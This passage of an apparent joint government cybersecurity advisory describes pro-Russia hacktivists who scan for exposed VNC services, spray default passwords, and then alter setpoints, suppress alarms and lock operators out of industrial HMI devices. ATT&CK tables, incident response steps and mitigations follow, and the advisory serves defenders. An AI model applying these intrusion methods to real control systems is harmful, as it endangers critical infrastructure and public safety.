<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
